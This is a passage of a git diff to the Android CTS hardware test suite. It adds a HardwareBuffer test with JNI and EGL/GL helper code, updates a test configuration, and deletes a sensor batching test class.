     <uses-permission android:name="android.permission.TRANSMIT_IR" />
     <uses-permission android:name="android.permission.REORDER_TASKS" />
     <uses-permission android:name="android.permission.USE_FINGERPRINT" />
diff --git a/tests/tests/hardware/AndroidTest.xml b/tests/tests/hardware/AndroidTest.xml
index 3d42c87..6dbda37 100644
--- a/tests/tests/hardware/AndroidTest.xml
+++ b/tests/tests/hardware/AndroidTest.xml
@@ -13,22 +13,16 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Hardware test cases">
+    <option name="config-descriptor:metadata" key="component" value="misc" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHardwareTestCases.apk" />
     </target_preparer>
-    <!-- Put SensorService in restricted mode so that only CTS tests will be able to get access to
-    sensors -->
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="dumpsys sensorservice restrict .cts." />
-        <option name="teardown-command" value="dumpsys sensorservice enable" />
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.hardware.cts" />
-        <option name="runtime-hint" value="47m28s" />
+        <option name="runtime-hint" value="14s" />
         <!-- test-timeout unit is ms, value = 60 min -->
         <option name="test-timeout" value="3600000" />
     </test>
-
 </configuration>
diff --git a/tests/tests/hardware/jni/Android.mk b/tests/tests/hardware/jni/Android.mk
new file mode 100644
index 0000000..0cd95e7
--- /dev/null
+++ b/tests/tests/hardware/jni/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libctshardware_jni
+
+LOCAL_CFLAGS += -Werror
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+		CtsHardwareJniOnLoad.cpp \
+		android_hardware_cts_HardwareBufferTest.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+
+LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog
+
+LOCAL_CXX_STL := libc++_static
+
+LOCAL_CLANG := true
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/hardware/jni/CtsHardwareJniOnLoad.cpp b/tests/tests/hardware/jni/CtsHardwareJniOnLoad.cpp
new file mode 100644
index 0000000..2f607c9
--- /dev/null
+++ b/tests/tests/hardware/jni/CtsHardwareJniOnLoad.cpp
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdio.h>
+
+extern int register_android_hardware_cts_HardwareBufferTest(JNIEnv*);
+
+jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
+    JNIEnv* env = nullptr;
+    if (vm->GetEnv((void**)&env, JNI_VERSION_1_4) != JNI_OK)
+        return JNI_ERR;
+    if (register_android_hardware_cts_HardwareBufferTest(env))
+        return JNI_ERR;
+    return JNI_VERSION_1_4;
+}
diff --git a/tests/tests/hardware/jni/android_hardware_cts_HardwareBufferTest.cpp b/tests/tests/hardware/jni/android_hardware_cts_HardwareBufferTest.cpp
new file mode 100644
index 0000000..c5b5c35
--- /dev/null
+++ b/tests/tests/hardware/jni/android_hardware_cts_HardwareBufferTest.cpp
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include <android/hardware_buffer.h>
+
+#include <jni.h>
+
+#include <android/hardware_buffer_jni.h>
+#include <utils/Errors.h>
+
+#define LOG_TAG "HardwareBufferTest"
+
+static jobject android_hardware_HardwareBuffer_nativeCreateHardwareBuffer(JNIEnv* env, jclass,
+        jint width, jint height, jint format, jint layers, jlong usage) {
+    AHardwareBuffer* buffer = NULL;
+    AHardwareBuffer_Desc desc = {};
+
+    desc.width = width;
+    desc.height = height;
+    desc.layers = layers;
+    desc.usage = usage;
+    desc.format = format;
+    int res = AHardwareBuffer_allocate(&desc, &buffer);
+    if (res == android::NO_ERROR) {
+        return AHardwareBuffer_toHardwareBuffer(env, buffer);
+    } else {
+        return 0;
+    }
+}
+
+static void android_hardware_HardwareBuffer_nativeReleaseHardwareBuffer(JNIEnv* env, jclass,
+        jobject hardwareBufferObj) {
+    AHardwareBuffer* buffer = AHardwareBuffer_fromHardwareBuffer(env, hardwareBufferObj);
+    AHardwareBuffer_release(buffer);
+}
+
+static JNINativeMethod gMethods[] = {
+    { "nativeCreateHardwareBuffer", "(IIIIJ)Landroid/hardware/HardwareBuffer;",
+            (void *) android_hardware_HardwareBuffer_nativeCreateHardwareBuffer },
+    { "nativeReleaseHardwareBuffer", "(Landroid/hardware/HardwareBuffer;)V",
+           (void *) android_hardware_HardwareBuffer_nativeReleaseHardwareBuffer },
+};
+
+int register_android_hardware_cts_HardwareBufferTest(JNIEnv* env)
+{
+    jclass clazz = env->FindClass("android/hardware/cts/HardwareBufferTest");
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/Egl14Utils.java b/tests/tests/hardware/src/android/hardware/cts/Egl14Utils.java
new file mode 100644
index 0000000..a8026c9
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/cts/Egl14Utils.java
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import android.opengl.EGL14;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLExt;
+import android.opengl.GLES20;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Utilities to test EGL APIs.
+ */
+final class Egl14Utils {
+    private Egl14Utils() {
+    }
+
+    /**
+     * Returns an initialized default display.
+     */
+    static EGLDisplay createEglDisplay() {
+        EGLDisplay eglDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
+        if (eglDisplay == EGL14.EGL_NO_DISPLAY) {
+            throw new IllegalStateException("no EGL display");
+        }
+
+        int[] major = new int[1];
+        int[] minor = new int[1];
+        if (!EGL14.eglInitialize(eglDisplay, major, 0, minor, 0)) {
+            throw new IllegalStateException("error in eglInitialize");
+        }
+
+        return eglDisplay;
+    }
+
+    /**
+     * Returns a new GL ES 2.0 context for the specified {@code eglDisplay}.
+     */
+    static EGLContext createEglContext(EGLDisplay eglDisplay) {
+        return createEglContext(eglDisplay, getEglConfig(eglDisplay, 2), 2);
+    }
+
+    /**
+     * Returns a new GL ES context for the specified display, config and version.
+     */
+    static EGLContext createEglContext(EGLDisplay eglDisplay, EGLConfig eglConfig, int version) {
+        int[] contextAttributes = { EGL14.EGL_CONTEXT_CLIENT_VERSION, version, EGL14.EGL_NONE };
+        return EGL14.eglCreateContext(eglDisplay, eglConfig,
+                EGL14.EGL_NO_CONTEXT, contextAttributes, 0);
+    }
+
+    /**
+     * Destroys the GL context identified by {@code eglDisplay} and {@code eglContext}.
+     */
+    static void destroyEglContext(EGLDisplay eglDisplay, EGLContext eglContext) {
+        EGL14.eglMakeCurrent(eglDisplay,
+                EGL14.EGL_NO_SURFACE,
+                EGL14.EGL_NO_SURFACE,
+                EGL14.EGL_NO_CONTEXT);
+        int error = EGL14.eglGetError();
+        if (error != EGL14.EGL_SUCCESS) {
+            throw new RuntimeException("error releasing context: " + error);
+        }
+
+        EGL14.eglDestroyContext(eglDisplay, eglContext);
+        error = EGL14.eglGetError();
+        if (error != EGL14.EGL_SUCCESS) {
+            throw new RuntimeException("error destroying context: " + error);
+        }
+    }
+
+    static void releaseAndTerminate(EGLDisplay eglDisplay) {
+        int error;
+        EGL14.eglReleaseThread();
+        error = EGL14.eglGetError();
+        if (error != EGL14.EGL_SUCCESS) {
+            throw new RuntimeException("error releasing thread: " + error);
+        }
+
+        EGL14.eglTerminate(eglDisplay);
+        error = EGL14.eglGetError();
+        if (error != EGL14.EGL_SUCCESS) {
+            throw new RuntimeException("error terminating display: " + error);
+        }
+    }
+
+    static EGLConfig getEglConfig(EGLDisplay eglDisplay, int version) {
+        // Get an EGLConfig.
+        int renderableType = EGL14.EGL_OPENGL_ES2_BIT;
+        if (version == 3) {
+            renderableType = EGLExt.EGL_OPENGL_ES3_BIT_KHR;
+        }
+        final int RED_SIZE = 8;
+        final int GREEN_SIZE = 8;
+        final int BLUE_SIZE = 8;
+        final int ALPHA_SIZE = 8;
+        final int DEPTH_SIZE = 0;
+        final int STENCIL_SIZE = 0;
+        final int[] DEFAULT_CONFIGURATION = new int[] {
+                EGL14.EGL_RENDERABLE_TYPE, renderableType,
+                EGL14.EGL_RED_SIZE, RED_SIZE,
+                EGL14.EGL_GREEN_SIZE, GREEN_SIZE,
+                EGL14.EGL_BLUE_SIZE, BLUE_SIZE,
+                EGL14.EGL_ALPHA_SIZE, ALPHA_SIZE,
+                EGL14.EGL_DEPTH_SIZE, DEPTH_SIZE,
+                EGL14.EGL_STENCIL_SIZE, STENCIL_SIZE,
+                EGL14.EGL_NONE};
+
+        int[] configsCount = new int[1];
+        EGLConfig[] eglConfigs = new EGLConfig[1];
+        if (!EGL14.eglChooseConfig(
+                eglDisplay, DEFAULT_CONFIGURATION, 0, eglConfigs, 0, 1, configsCount, 0)) {
+            throw new RuntimeException("eglChooseConfig failed");
+        }
+        return eglConfigs[0];
+    }
+
+    /**
+     * Checks for a GL error using {@link GLES20#glGetError()}.
+     *
+     * @throws RuntimeException if there is a GL error
+     */
+    static void checkGlError() {
+        int errorCode;
+        if ((errorCode = GLES20.glGetError()) != GLES20.GL_NO_ERROR) {
+            throw new RuntimeException("gl error: " + Integer.toHexString(errorCode));
+        }
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/GlUtils.java b/tests/tests/hardware/src/android/hardware/cts/GlUtils.java
new file mode 100644
index 0000000..81628d4
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/cts/GlUtils.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import android.opengl.GLES20;
+
+import java.util.Arrays;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+final class GlUtils {
+    private GlUtils() {
+    }
+
+    static int getMajorVersion() {
+        // Section 6.1.5 of the OpenGL ES specification indicates the GL version
+        // string strictly follows this format:
+        //
+        // OpenGL<space>ES<space><version number><space><vendor-specific information>
+        //
+        // In addition section 6.1.5 describes the version number in the following manner:
+        //
+        // "The version number is either of the form major number.minor number or
+        // major number.minor number.release number, where the numbers all have one
+        // or more digits. The release number and vendor specific information are
+        // optional."
+        String version = GLES20.glGetString(GLES20.GL_VERSION);
+        Pattern pattern = Pattern.compile("OpenGL ES ([0-9]+)\\.([0-9]+)");
+        Matcher matcher = pattern.matcher(version);
+        if (matcher.find()) {
+            return Integer.parseInt(matcher.group(1));
+        }
+        return 2;
+    }
+
+    static String[] getExtensions() {
+        return GLES20.glGetString(GLES20.GL_EXTENSIONS).split(" ");
+    }
+
+    static boolean hasExtensions(String... extensions) {
+        String[] available = getExtensions();
+        Arrays.sort(available);
+        for (String extension : extensions) {
+            if (Arrays.binarySearch(available, extension) < 0) return false;
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java b/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
new file mode 100644
index 0000000..5ea845a
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import android.hardware.HardwareBuffer;
+import android.opengl.EGL14;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLSurface;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static android.opengl.EGL14.EGL_HEIGHT;
+import static android.opengl.EGL14.EGL_NONE;
+import static android.opengl.EGL14.EGL_NO_CONTEXT;
+import static android.opengl.EGL14.EGL_NO_SURFACE;
+import static android.opengl.EGL14.EGL_WIDTH;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Test {@link HardwareBuffer}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class HardwareBufferTest {
+    private static boolean sHasFloatBuffers;
+
+    @SuppressWarnings("SameParameterValue")
+    private static native HardwareBuffer nativeCreateHardwareBuffer(int width, int height,
+            int format, int layers, long usage);
+    private static native void nativeReleaseHardwareBuffer(HardwareBuffer hardwareBufferObj);
+
+    static {
+        System.loadLibrary("ctshardware_jni");
+    }
+
+    @BeforeClass
+    public static void hasFloatBuffers() {
+        EGLDisplay eglDisplay = null;
+        EGLContext eglContext = null;
+        EGLSurface eglSurface = null;
+        try {
+            eglDisplay = Egl14Utils.createEglDisplay();
+            EGLConfig eglConfig = Egl14Utils.getEglConfig(eglDisplay, 2);
+            eglContext = Egl14Utils.createEglContext(eglDisplay, eglConfig, 2);
+
+            eglSurface = EGL14.eglCreatePbufferSurface(eglDisplay, eglConfig, new int[] {
+                    EGL_WIDTH, 1,
+                    EGL_HEIGHT, 1,
+                    EGL_NONE
+            }, 0);
+            EGL14.eglMakeCurrent(eglDisplay, eglSurface, eglSurface, eglContext);
+
+            sHasFloatBuffers = GlUtils.getMajorVersion() >= 3 ||
+                    GlUtils.hasExtensions("GL_OES_texture_half_float",
+                            "GL_OES_texture_half_float_linear");
+
+            EGL14.eglMakeCurrent(eglDisplay, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT);
+            EGL14.eglDestroySurface(eglDisplay, eglSurface);
+
+            Egl14Utils.destroyEglContext(eglDisplay, eglContext);
+            Egl14Utils.releaseAndTerminate(eglDisplay);
+
+            eglDisplay = null;
+            eglContext = null;
+            eglSurface = null;
+        } finally {
+            if (eglDisplay != null) {
+                if (eglContext != null) {
+                    EGL14.eglDestroyContext(eglDisplay, eglContext);
+                }
+                if (eglSurface != null) {
+                    EGL14.eglDestroySurface(eglDisplay, eglSurface);
+                }
+                EGL14.eglTerminate(eglDisplay);
+            }
+        }
+    }
+
+    @Test
+    public void testCreate() {
+        HardwareBuffer buffer = HardwareBuffer.create(2, 4, HardwareBuffer.RGBA_8888, 1,
+                HardwareBuffer.USAGE_CPU_READ_RARELY);
+        assertTrue(buffer != null);
+        assertEquals(2, buffer.getWidth());
+        assertEquals(4, buffer.getHeight());
+        assertEquals(HardwareBuffer.RGBA_8888, buffer.getFormat());
+        assertEquals(1, buffer.getLayers());
+        assertEquals(HardwareBuffer.USAGE_CPU_READ_RARELY, buffer.getUsage());
+
+        buffer = HardwareBuffer.create(2, 4, HardwareBuffer.RGBX_8888, 1,
+                HardwareBuffer.USAGE_CPU_READ_RARELY);
+        assertEquals(HardwareBuffer.RGBX_8888, buffer.getFormat());
+        buffer = HardwareBuffer.create(2, 4, HardwareBuffer.RGB_888, 1,
+                HardwareBuffer.USAGE_CPU_READ_RARELY);
+        assertEquals(HardwareBuffer.RGB_888, buffer.getFormat());
+        buffer = HardwareBuffer.create(2, 4, HardwareBuffer.RGB_565, 1,
+                HardwareBuffer.USAGE_CPU_READ_RARELY);
+        assertEquals(HardwareBuffer.RGB_565, buffer.getFormat());
+        buffer = HardwareBuffer.create(2, 1, HardwareBuffer.BLOB, 1,
+                HardwareBuffer.USAGE_CPU_READ_RARELY);
+        assertEquals(HardwareBuffer.BLOB, buffer.getFormat());
+
+        if (sHasFloatBuffers) {
+            buffer = HardwareBuffer.create(2, 4, HardwareBuffer.RGBA_FP16, 1,
+                    HardwareBuffer.USAGE_CPU_READ_RARELY);
+            assertEquals(HardwareBuffer.RGBA_FP16, buffer.getFormat());
+            buffer = HardwareBuffer.create(2, 4, HardwareBuffer.RGBA_1010102, 1,
+                    HardwareBuffer.USAGE_CPU_READ_RARELY);
+            assertEquals(HardwareBuffer.RGBA_1010102, buffer.getFormat());
+        }
+    }
+
+    @SuppressWarnings("EmptyCatchBlock")
+    @Test
+    public void testCreateFailsWithInvalidArguments() {
+        HardwareBuffer buffer = null;
+        try {
+            buffer = HardwareBuffer.create(0, 4, HardwareBuffer.RGB_888, 1,
+                    HardwareBuffer.USAGE_CPU_READ_RARELY);
+        } catch (IllegalArgumentException e) {}
+        assertEquals(null, buffer);
+        try {
+            buffer = HardwareBuffer.create(2, 0, HardwareBuffer.RGB_888, 1,
+                    HardwareBuffer.USAGE_CPU_READ_RARELY);
+        } catch (IllegalArgumentException e) {}
+        assertEquals(null, buffer);
+        try {
+            buffer = HardwareBuffer.create(2, 4, 0, 1,
+                    HardwareBuffer.USAGE_CPU_READ_RARELY);
+        } catch (IllegalArgumentException e) {}
+        assertEquals(null, buffer);
+        try {
+            buffer = HardwareBuffer.create(2, 4, HardwareBuffer.RGB_888, -1,
+                    HardwareBuffer.USAGE_CPU_READ_RARELY);
+        } catch (IllegalArgumentException e) {}
+        assertEquals(null, buffer);
+        try {
+            buffer = HardwareBuffer.create(2, 2, HardwareBuffer.BLOB, 1,
+                    HardwareBuffer.USAGE_CPU_READ_RARELY);
+        } catch (IllegalArgumentException e) {}
+        assertEquals(null, buffer);
+
+        if (sHasFloatBuffers) {
+            try {
+                buffer = HardwareBuffer.create(0, 4, HardwareBuffer.RGBA_FP16, 1,
+                        HardwareBuffer.USAGE_CPU_READ_RARELY);
+            } catch (IllegalArgumentException e) {
+            }
+            assertEquals(null, buffer);
+            try {
+                buffer = HardwareBuffer.create(0, 4, HardwareBuffer.RGBA_1010102, 1,
+                        HardwareBuffer.USAGE_CPU_READ_RARELY);
+            } catch (IllegalArgumentException e) {
+            }
+            assertEquals(null, buffer);
+        }
+    }
+
+    @Test
+    public void testCreateFromNativeObject() {
+        HardwareBuffer buffer = nativeCreateHardwareBuffer(2, 4, HardwareBuffer.RGBA_8888, 1,
+                    HardwareBuffer.USAGE_CPU_READ_RARELY);
+        assertTrue(buffer != null);
+        assertEquals(2, buffer.getWidth());
+        assertEquals(4, buffer.getHeight());
+        assertEquals(HardwareBuffer.RGBA_8888, buffer.getFormat());
+        assertEquals(1, buffer.getLayers());
+        assertEquals(HardwareBuffer.USAGE_CPU_READ_RARELY, buffer.getUsage());
+        nativeReleaseHardwareBuffer(buffer);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
old mode 100755
new mode 100644
diff --git a/tests/tests/hardware/src/android/hardware/cts/SensorBatchingTests.java b/tests/tests/hardware/src/android/hardware/cts/SensorBatchingTests.java
deleted file mode 100644
index 2a4c720..0000000
--- a/tests/tests/hardware/src/android/hardware/cts/SensorBatchingTests.java
+++ /dev/null
@@ -1,324 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.cts;
-
-import android.hardware.Sensor;
-import android.hardware.SensorManager;
-import android.hardware.cts.helpers.SensorCtsHelper;
-import android.hardware.cts.helpers.SensorStats;
-import android.hardware.cts.helpers.TestSensorEnvironment;
-import android.hardware.cts.helpers.sensoroperations.TestSensorOperation;
-import android.hardware.cts.helpers.sensorverification.EventBasicVerification;
-import android.hardware.cts.helpers.sensorverification.ISensorVerification;
-
-import java.util.concurrent.TimeUnit;
-
-/**
- * Set of tests to verify that sensors operate correctly when operating in batching mode.
- * This class defines tests for continuous sensors when the device is awake.
- * On-change and special sensors are tested separately inside CtsVerifier, and they are defined in:
- * {@link com.android.cts.verifier.sensors.BatchingTestActivity}.
- *
- * Each test is expected to pass even if batching is not supported for a particular sensor. This is
- * usually achieved by ensuring that {@link ISensorVerification}s fallback accordingly.
- *
- * <p>To execute these test cases, the following command can be used:</p>
- * <pre>
- * adb shell am instrument -e class android.hardware.cts.SensorBatchingTests \
- *     -w android.hardware.cts/android.test.AndroidJUnitRunner
- * </pre>
- */
-public class SensorBatchingTests extends SensorTestCase {
-    private static final String TAG = "SensorBatchingTests";
-
-    private static final int BATCHING_PERIOD = 10;  // sec
-    private static final int RATE_50HZ = 20000;
-    private static final int RATE_FASTEST = SensorManager.SENSOR_DELAY_FASTEST;
-
-    /**
-     * An arbitrary 'padding' time slot to wait for events after batching latency expires.
-     * This allows for the test to wait for event arrivals after batching was expected.
-     */
-    private static final int BATCHING_PADDING_TIME_S = (int) Math.ceil(BATCHING_PERIOD * 0.1f + 2);
-
-    public void testAccelerometer_fastest_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testAccelerometer_50hz_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testAccelerometer_fastest_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testAccelerometer_50hz_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testMagneticField_fastest_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testMagneticField_50hz_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testMagneticField_fastest_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testMagneticField_50hz_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    @SuppressWarnings("deprecation")
-    public void testOrientation_fastest_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_ORIENTATION, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    @SuppressWarnings("deprecation")
-    public void testOrientation_50hz_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_ORIENTATION, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    @SuppressWarnings("deprecation")
-    public void testOrientation_fastest_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_ORIENTATION, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    @SuppressWarnings("deprecation")
-    public void testOrientation_50hz_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_ORIENTATION, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testGyroscope_fastest_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_GYROSCOPE, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testGyroscope_50hz_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_GYROSCOPE, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testGyroscope_fastest_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_GYROSCOPE, SensorManager.SENSOR_DELAY_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testGyroscope_50hz_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_GYROSCOPE, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testPressure_fastest_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_PRESSURE, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testPressure_50hz_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_PRESSURE, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testPressure_fastest_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_PRESSURE, SensorManager.SENSOR_DELAY_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testPressure_50hz_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_PRESSURE, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testGravity_fastest_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_GRAVITY, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testGravity_50hz_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_GRAVITY, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testGravity_fastest_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_GRAVITY, SensorManager.SENSOR_DELAY_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testGravity_50hz_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_GRAVITY, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testRotationVector_fastest_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testRotationVector_50hz_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testRotationVector_fastest_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testRotationVector_50hz_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testMagneticFieldUncalibrated_fastest_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testMagneticFieldUncalibrated_50hz_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testMagneticFieldUncalibrated_fastest_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testMagneticFieldUncalibrated_50hz_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testGameRotationVector_fastest_batching() throws Throwable {
